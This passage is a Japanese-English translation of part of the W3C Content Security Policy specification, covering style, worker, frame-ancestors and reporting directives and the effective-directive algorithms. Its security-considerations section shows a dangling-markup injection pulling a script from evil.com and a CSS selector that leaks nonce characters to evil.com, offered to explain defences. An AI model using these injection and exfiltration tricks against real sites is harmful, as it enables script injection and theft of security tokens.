	= "style-src"
`directive-value$p
	= `serialized-source-list$p

`style-src$dir 指令は、 次について統治する： ◎ The style-src directive governs several things:

• ~style`要請$は、 `要請は~CSPにより阻止されるべきか？$A に合格しなければナラナイ。 これには、 次のものが含まれる： ◎ Style requests MUST pass through § 4.1.2 Should request be blocked by Content Security Policy?. This includes:

  • `link$e 要素から生じている~stylesheet要請 ◎ Stylesheet requests originating from a link element.
  • `~at_import$ 規則から生じている~stylesheet要請 ◎ Stylesheet requests originating from the @import rule.
  • `Link$h ~HTTP応答~headerから生じている~stylesheet要請 `RFC8288$r ◎ Stylesheet requests originating from a Link HTTP response header field [RFC8288].
• ~style要請に対する`応答$は、 `要請に対する応答は~CSPにより阻止されるべきか？$A に合格しなければナラナイ。 ◎ Responses to style requests MUST pass through § 4.1.3 Should response to request be blocked by Content Security Policy?.

• ~inlineな `style$e 要素~blockは、 `要素における~inlineな型の挙動は~CSPにより阻止されるべきか？$A に合格しなければナラナイ。 その~styleは、 どの施策も 次のいずれかにより~inlineな~styleを許容していない限り，阻止されることになる：

  • `style-src$dir （または `default-src$dir ）指令を指定しないことにより、 暗黙的に。
  • その~inlineな~blockに合致する［ `unsafe-inline$pl ／ `nonce-source$p ／ `hash-source$p ］を指定することにより，明示的に。
  ◎ Inline style blocks MUST pass through § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. The styles will be blocked unless every policy allows inline style, either implicitly by not specifying a style-src (or default-src) directive, or explicitly, by specifying "unsafe-inline", a nonce-source or a hash-source that matches the inline block.

• 次の~CSS~algoは、 `unsafe-eval$pl ~source式で通過制御される： ◎ The following CSS algorithms are gated on the unsafe-eval source expression:

  • `~CSS規則を挿入する$ ◎ insert a CSS rule
  • `~CSS規則として構文解析する$ ◎ parse a CSS rule,
  • `~CSS宣言~blockを構文解析する$ ◎ parse a CSS declaration block
  • `選択子~listとして構文解析する$ ◎ parse a group of selectors

  これには、 例えば， CSSOM の各種~interface上の［ `cssText^m 設定子 ／ `insertRule()^m ~method ］に対する すべての呼出nが含まれることになる。 `CSSOM$r `HTML$r ◎ This would include, for example, all invocations of CSSOM’s various cssText setters and insertRule methods [CSSOM] [HTML].

  これは、 もっと良く説明される必要がある。 [`212$issue] ◎ This needs to be better explained. [Issue #w3c/webappsec-csp#212]

6.1.14. `style-src-elem^dir

この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "style-src-elem"
`directive-value$p
	= `serialized-source-list$p

`style-src-elem@dir 指令は、 ~inline属性~内に定義されるもの以外の，~styleの挙動を統治する。 ◎ The style-src-elem directive governs the behaviour of styles except for styles defined in inline attributes.

6.1.15. `style-src-attr^dir

この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "style-src-attr"
`directive-value$p
	= `serialized-source-list$p

`style-src-attr@dir 指令は、 ~style属性の挙動を統治する。 ◎ The style-src-attr directive governs the behaviour of style attributes.

6.2.1. `webrtc^dir

`webrtc@dir 指令は、［ ~WebRTCを介して接続を確立してヨイかどうか ］を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The webrtc directive restricts whether connections may be established via WebRTC. The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "webrtc"
`directive-value$p
	= "`allow@pl" / "`block@pl"

Content-Security-Policy: `webrtc$dir 'block'

const %iceServers = [{urls: "stun:stun.l.google.com:19302"}];
const %pc = new RTCPeerConnection({%iceServers});
%pc.createDataChannel("");
const %io = new WebSocket('ws://example.com:8080');
%pc.onicecandidate = ({%candidate}) => %io.send({%candidate});
%pc.onnegotiationneeded = async () => {
  await %pc.setLocalDescription();
  %io.send({%description: %pc.localDescription});
};
%io.onmessage = async ({data: {%description, %candidate}}) => {
  if (%description) {
    await %pc.setRemoteDescription(%description);
    if (%description.type == "offer") {
      await %pc.setLocalDescription();
      %io.send({description: %pc.localDescription});
    }
  } else if (%candidate) await %pc.addIceCandidate(%candidate);
};

6.2.2. `worker-src^dir

`worker-src@dir 指令は、［ どの~URLを［ `Worker$I ／ `SharedWorker$I ／ `ServiceWorker$I ］として読込んでもヨイか ］を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The worker-src directive restricts the URLs which may be loaded as a Worker, SharedWorker, or ServiceWorker. The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "worker-src"
`directive-value$p
	= `serialized-source-list$p

`Content-Security-Policy$h:
    `worker-src$dir https://example.com/

<script>
  var blockedWorker = new Worker("data:application/javascript,...");
  blockedWorker = new SharedWorker("https://example.org/");
  navigator.serviceWorker.register('https://example.org/sw.js');
</script>

6.3.1. `base-uri^dir

`base-uri@dir 指令は、 `文書$の `base$e 要素に利用できる`~URL$を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The base-uri directive restricts the URLs which can be used in a Document's base element. The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "base-uri"
`directive-value$p
	= `serialized-source-list$p

次の~algoは、 この指令を 監視する／施行する ために，［ ~HTMLの，`凍結d基底~URLを設定する$~algo ］から~callされる： ◎ The following algorithm is called during HTML’s set the frozen base url algorithm in order to monitor and enforce this directive:

6.3.2. `sandbox^dir

`sandbox@dir 指令は、［ その値が `iframe$e の `sandbox$a 属性の値に含められていた ］かのように，~UAが資源に適用することになる~HTML~sandbox施策を指定する。 ◎ The sandbox directive specifies an HTML sandbox policy which the user agent will apply to a resource, just as though it had been included in an iframe with a sandbox property.

この指令の名前と値の構文は、 次の`~ABNF$で述べられる。 加えて，その各 `token^p 値は、 `HTML$r により［ `iframe$e の `sandbox$a 属性に許容される値 ］として定義される，いずれかの~keywordでなければナラナイ： ◎ The directive’s syntax is described by the following ABNF grammar, with the additional requirement that each token value MUST be one of the keywords defined by HTML specification as allowed values for the iframe sandbox attribute [HTML].

`directive-name$p
	= "sandbox"
`directive-value$p
	= ""
	/ `token$p *( `required-ascii-whitespace$p `token$p )

この指令には、 報告-法の要件はない — この指令が［ `Content-Security-Policy-Report-Only$h ~header内で送達された ／ `meta$e 要素の中にある ］ときは、 まるごと無視されることになる。 ◎ This directive has no reporting requirements; it will be ignored entirely when delivered in a Content-Security-Policy-Report-Only header, or within a meta element.

6.4.1. `form-action^dir

`form-action@dir 指令は、 所与の文脈からの~form提出の~targetとして利用できる`~URL$を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The form-action directive restricts the URLs which can be used as the target of a form submissions from a given context. The directive’s syntax is described by the following ABNF grammar:

`directive-name$p
	= "form-action"
`directive-value$p
	= `serialized-source-list$p

6.4.2. `frame-ancestors^dir

`frame-ancestors@dir 指令は、［ `frame$e ／ `iframe$e ／ `object$e ／ `embed$e ］要素を利用して埋込める資源の`~URL$を制約する。 この指令を利用すれば、［ 敵対的になり得る文脈の中に資源が埋込まれる~risk ］を避けることで，多くの `UI Redressing^en 【 UI の着せ替え】 攻撃 `UISECURITY$r を避けれるようになる。 ◎ The frame-ancestors directive restricts the URLs which can embed the resource using frame, iframe, object, or embed. Resources can use this directive to avoid many UI Redressing [UISECURITY] attacks, by avoiding the risk of being embedded into potentially hostile contexts.

この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The directive’s syntax is described by the following ABNF grammar:

`directive-name$p
	= "frame-ancestors"
`directive-value$p
	= `ancestor-source-list$p

`ancestor-source-list@p
	= ( `ancestor-source$p *( `required-ascii-whitespace$p `ancestor-source$p) )
	/ "`none$pl"
`ancestor-source@p
	= `scheme-source$p
	/ `host-source$p
	/ "`self$pl"

`meta$e 要素を介して宣言された施策~内に包含されている `frame-ancestors^dir 指令は、 無視するモノトスル。 ◎ The frame-ancestors directive MUST be ignored when contained in a policy declared via a meta element.

注記： `frame-ancestors^dir 指令は、 構文は`~source~list$に類似するが， `default-src^dir 指令が指定されていても その値に~fall-backしない。 すなわち，施策が `default-src^dir `none$pl を宣言していても、 依然として，資源はどこからでも埋込まれることが許容される。 ◎ Note: The frame-ancestors directive’s syntax is similar to a source list, but frame-ancestors will not fall back to the default-src directive’s value if one is specified. That is, a policy that declares default-src 'none' will still allow the resource to be embedded by anyone.

6.5.1. `report-uri^dir

`Content-Security-Policy$h:
    ...;
    `report-uri$dir https://endpoint.com;
    `report-to$dir groupname

`report-uri@dir 指令は、 `報告先$ — 特定0の挙動が防止されたとき，`~CSP違反~報告$の送信-先になる~network端点 — たちが成す集合を定義する。 ◎ The report-uri directive defines a set of endpoints to which csp violation reports will be sent when particular behaviors are prevented.

`directive-name$p
	= "report-uri"
`directive-value$p
	= `uri-reference$p *( `required-ascii-whitespace$p `uri-reference$p )
; The uri-reference grammar is defined in Section 4.1 of RFC 3986.

この指令は、 それ自身は効果を持たず，他の指令との組合nにおいてのみ効果を~~発揮する。 ◎ The directive has no effect in and of itself, but only gains meaning in combination with other directives.

6.5.2. `report-to^dir

`report-to@dir 指令は、 違反~報告の送信-先とされるべき`報告先$ `REPORTING$r を定義する。 この指令の挙動は、 `違反を報告する$A~algoにて定義される。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The report-to directive defines a reporting endpoint to which violation reports ought to be sent [REPORTING]. The directive’s behavior is defined in § 5.5 Report a violation. The directive’s name and value are described by the following ABNF:

`directive-name$p
	= "report-to"
`directive-value$p
	= `token$p

6.7.1. ~script指令の検査

6.7.2. ~URLの照合-法

6.7.3. 要素に対する照合~algo

'unsafe-inline' http://a.com http://b.com
'unsafe-inline'

'sha512-321cba' 'nonce-abc'
http://example.com 'unsafe-inline' 'nonce-abc'

'unsafe-inline' 'strict-dynamic'
http://example.com 'strict-dynamic' 'unsafe-inline'

6.8.1. 要請~用に有効果な指令を取得する

各種 `~fetch指令$は、 特定の行先の`要請$を制御する。 次の~algoは、 所与の ( `要請$ %要請 ) に対し，［ ~NULL, または `有効果な指令@ の`名前$ ］を返す： ◎ Each fetch directive controls a specific destination of request. Given a request request, the following algorithm returns either null or the name of the request’s effective directive:

1. ~IF［ %要請 の`起動元$rq ~IN { `prefetch^l, `prerender^l } ］ ⇒ ~RET `default-src$dir ◎ If request’s initiator is "prefetch" or "prerender", return default-src.

2. %要請 の`行先$rqに応じて： ◎ Switch on request’s destination, and execute the associated steps:

   空~文字列

   ~RET `connect-src$dir ◎ Return connect-src.

   `manifest^l

   ~RET `manifest-src$dir ◎ Return manifest-src.

   `object^l

   `embed^l

   ~RET `object-src$dir ◎ Return object-src.

   `frame^l

   `iframe^l

   ~RET `frame-src$dir ◎ Return frame-src.

   `audio^l

   `track^l

   `video^l

   ~RET `media-src$dir ◎ Return media-src.

   `font^l

   ~RET `font-src$dir ◎ Return font-src.

   `image^l

   ~RET `img-src$dir ◎ Return img-src.

   `style^l

   ~RET `style-src-elem$dir ◎ Return style-src-elem.

   `script^l

   `xslt^l

   `audioworklet^l

   `paintworklet^l

   ~RET `script-src-elem$dir ◎ Return script-src-elem.

   `serviceworker^l

   `sharedworker^l

   `worker^l

   ~RET `worker-src$dir ◎ Return worker-src.

   `json^l

   `webidentity^l

   ~RET `connect-src$dir ◎ Return connect-src.

   `report^l

   ~RET ~NULL ◎ Return null.

3. ~RET `connect-src$dir ◎ Return connect-src.

注記： この~algoは、 既定の~fallbackとして `connect-src$dir を返す。 これは、［ ~fetch用に追加される新たな`行先$rqのうち，他のどの分類にも明示的に該当しないもの ］用に意図される。 ◎ Note: The algorithm returns connect-src as a default fallback. This is intended for new fetch destinations that are added and which don’t explicitly fall into one of the other categories.

6.8.2. ~inline検査~用に有効果な指令を取得する

次の~algoは、 所与の ( 文字列 %型 ) に対し，有効果な指令の`名前$を返す： ◎ Given a string type, this algorithm returns the name of the effective directive.

注記： `有効果な指令$は，`要請$用に限り定義されているが、 この~algoにおいては，［ 特定0の型の~inline検査に最も関連な指令 ］を意味するように同様に利用される。 ◎ Note: While the effective directive is only defined for requests, in this algorithm it is used similarly to mean the directive that is most relevant to a particular type of inline check.

1. %型 に応じて： ◎ Switch on type:

   `script^l

   `navigation^l

   ~RET `script-src-elem$dir ◎ Return script-src-elem.

   `script attribute^l

   ~RET `script-src-attr$dir ◎ Return script-src-attr.

   `style^l

   ~RET `style-src-elem$dir ◎ Return style-src-elem.

   `style attribute^l

   ~RET `style-src-attr$dir ◎ Return style-src-attr.

2. ~RET ~NULL ◎ Return null.

6.8.3. ~fetch指令~fallback~listを取得する

特定の`指令$用の~fallback`指令$たちからなる`有順序~集合$を返す。 結果は、 最も関連なものから順に~sortされ，有効果な指令~自身も含む。 ◎ Will return an ordered set of the fallback directives for a specific directive. The returned ordered set is sorted from most relevant to least relevant and it includes the effective directive itself.

所与の ( 文字列 %指令~名 ) に対し： ◎ Given a string directive name:

1. ~RET %指令~名 に応じて，次の表tの 2 列目に与える集合： ◎ Switch on directive name:

   %指令~名	結果
   "`script-src-elem$dir"	« `script-src-elem^l, `script-src^l, `default-src^l » ◎ Return << "script-src-elem", "script-src", "default-src" >>.
   "`script-src-attr$dir"	« `script-src-attr^l, `script-src^l, `default-src^l » ◎ Return << "script-src-attr", "script-src", "default-src" >>.
   "`style-src-elem$dir"	« `style-src-elem^l, `style-src^l, `default-src^l » ◎ Return << "style-src-elem", "style-src", "default-src" >>.
   "`style-src-attr$dir"	« `style-src-attr^l, `style-src^l, `default-src^l » ◎ Return << "style-src-attr", "style-src", "default-src" >>.
   "`worker-src$dir"	« `worker-src^l, `child-src^l, `script-src^l, `default-src^l » ◎ Return << "worker-src", "child-src", "script-src", "default-src" >>.
   "`connect-src$dir"	« `connect-src^l, `default-src^l » ◎ Return << "connect-src", "default-src" >>.
   "`manifest-src$dir"	« `manifest-src^l, `default-src^l » ◎ Return << "manifest-src", "default-src" >>.
   "`object-src$dir"	« `object-src^l, `default-src^l » ◎ Return << "object-src", "default-src" >>.
   "`frame-src$dir"	« `frame-src^l, `child-src^l, `default-src^l » ◎ Return << "frame-src", "child-src", "default-src" >>.
   "`media-src$dir"	« `media-src^l, `default-src^l » ◎ Return << "media-src", "default-src" >>.
   "`font-src$dir"	« `font-src^l, `default-src^l » ◎ Return << "font-src", "default-src" >>.
   "`img-src$dir"	« `img-src^l, `default-src^l » ◎ Return << "img-src", "default-src" >>.
   その他	空~集合 ◎ Return << >>.

6.8.4. ~fetch指令を実行するべきか？

この~algoは、 `~fetch指令$に対し，［ 指令を実行するべきか, より適した他の指令に先送りするか ］を裁定するために利用される。 例えば，［ %有効果な指令の名前 ~EQ `worker-src$dir ］の場合（現在，~worker要請【 `行先$rq ~EQ `worker^l 】を検査していることを意味する）、［ `worker-src$dir ／ `script-src$dir ］指令が存在する場合には， `default-src$dir 指令は実行するべきでない。 ◎ This algorithm is used for fetch directives to decide whether a directive should execute or defer to a different directive that is better suited. For example: if the effective directive name is worker-src (meaning that we are currently checking a worker request), a default-src directive should not execute if a worker-src or script-src directive exists.

所与の ( 文字列 %有効果な指令の名前, 文字列 %指令~名, `施策$ %施策 ) に対し： ◎ Given a string effective directive name, a string directive name and a policy policy:

1. %指令~fallback~list ~LET `~fetch指令~fallback~listを取得する$A( %有効果な指令の名前 ) ◎ Let directive fallback list be the result of executing § 6.8.3 Get fetch directive fallback list on effective directive name.

2. %指令~fallback~list を成す ~EACH( %~fallback指令 ) に対し： ◎ For each fallback directive of directive fallback list:

   1. ~IF［ %指令~名 ~EQ %~fallback指令 ］ ⇒ ~RET `~Yes^i ◎ If directive name is fallback directive, Return "Yes".
   2. ~IF［ %施策 は［ `名前$ ~EQ %~fallback指令 ］を満たす指令を包含する ］ ⇒ ~RET `~No^i ◎ If policy contains a directive whose name is fallback directive, Return "No".
3. ~RET `~No^i ◎ Return "No".

7.2.1. ~dangling-markup攻撃

`FILEDESCRIPTOR-2015$r などで論じられている ~dangling-markup攻撃（ `dangling markup attack^en ）は、 ~pageの正当な~nonceを注入-用に転用するためにも利用され得る。 例えば、 所与の `script$e 要素の前に注入~地点があるとする： ◎ Dangling markup attacks such as those discussed in [FILEDESCRIPTOR-2015] can be used to repurpose a page’s legitimate nonces for injections. For example, given an injection point before a script element:

<p>Hello, %注入~地点</p>
<script nonce=abc src=/good.js></script>

攻撃者が文字列 `<script src='https://evil.com/evil.js' ^l を注入した場合、 ~browserは次を受信することになる： ◎ If an attacker injects the string "<script src='https://evil.com/evil.js' ", then the browser will receive the following:

<p>Hello, <script src='https://evil.com/evil.js' </p>
<script nonce=abc src=/good.js></script>

その~codeを構文解析した結果の `script$e 要素には、 次に挙げる名前の属性： `src^l , `</p>^l , `<script^l , `nonce^l, もう一つの `src^l が伴われることになる。 最初の `src^a 属性 — 悪意的な~sourceを指している — のおかげで、 元からあった 2 個目の `src^a 属性は，構文解析器により重複として破棄される。 ◎ It will then parse that code, ending up with a script element with a src attribute pointing to a malicious payload, an attribute named </p>, an attribute named "<script", a nonce attribute, and a second src attribute which is helpfully discarded as duplicate by the parser.

`要素は~nonce可能か？$A ~algoは、［ `script$e, `style$e ］要素の属性を走査して，その名前や値から文字列［ `<script^l ／ `<style^l ］を探し出すことで、 この特定の攻撃を軽減しようと試みるものである。 ◎ The § 6.7.3.1 Is element nonceable? algorithm attempts to mitigate this specific attack by walking through script or style element attributes, looking for the string "<script" or "<style" in their names or values.

~UAは、 この~algoを実装するときには， 重複な属性を無視しないよう~~特段の注意を払う必要がある。 要素が重複な属性を有する場合，最初を除く属性~instanceが無視されるが、 `要素は~nonce可能か？$A~algoにおいては，それらすべての属性が検査される必要がある。 ◎ User-agents must pay particular attention when implementing this algorithm to not ignore duplicate attributes. If an element has a duplicate attribute any instance of the attribute after the first one is ignored but in the § 6.7.3.1 Is element nonceable? algorithm, all attributes including the duplicate ones need to be checked.

現在の~HTML仕様の構文解析~algoは、 `要素は~nonce可能か？$A~algoを走らす前に この情報を除去しているため， 重複な属性を実際に検出するのはアリでない。 [`whatwg/html 課題 #3257＠~HTMLissue/3257$] ◎ Currently the HTML spec’s parsing algorithm removes this information before the § 6.7.3.1 Is element nonceable? algorithm can be run which makes it impossible to actually detect duplicate attributes. [Issue #whatwg/html#3257]

【この節の残りの内容は、上の例と~~重複しているので，和訳は省略する。】 ◎ For the following example page: Hello, [INJECTION POINT] <script nonce=abc src=/good.js></script> The following injected string will use a duplicate attribute to attempt to bypass the § 6.7.3.1 Is element nonceable? algorithm check: Hello, <script src='https://evil.com/evil.js' x="" x= <script nonce="abcd" src=/good.js></script>

7.2.2. 内容~属性を介する~nonceの漏出

~CSPに対する攻撃には、 内容~属性を読取れるような様々な仕組みを介して~nonce~dataを漏出する（ `exfiltrate^en ）能に依拠するものがある。 最も~~簡単な例として、 次のような~CSS `部分照合 属性~選択子＠~SELECTORS4#attribute-substrings$ の利用を通して，攻撃者の~serverへ送信する方法が挙げられる （漏出された~dataは、 後で再利用されることになる）： ◎ Some attacks on CSP rely on the ability to exfiltrate nonce data via various mechanisms that can read content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attacker’s server for reuse. Example:

script[nonce=^a]【！script[nonce=a]】 { background: url("https://evil.com/nonce?a");}

【 この例では、 `nonce^a 値の一部の情報（先頭の文字は `a^l かどうか）のみ漏出される — 実際の攻撃では、 似たような多数の選択子を用いて完全な情報を得ることになる。 （前提として、 攻撃者はそのような~CSSを注入できるとする。） 】

§ `nonce$a は、 要素の内容~属性による~nonceを内部~slotの中へ移動して隠すことにより， これらの型の攻撃を軽減することについて~~述べている。 これは、 `nonce^a 値は~script以外には~~直に公開されないことを確保するために行われる。 ◎ The nonce section talks about mitigating these types of attacks by hiding the nonce from the element’s content attribute and moving it into an internal slot. This is done to ensure that the nonce value is exposed to scripts but not any other non-script channels.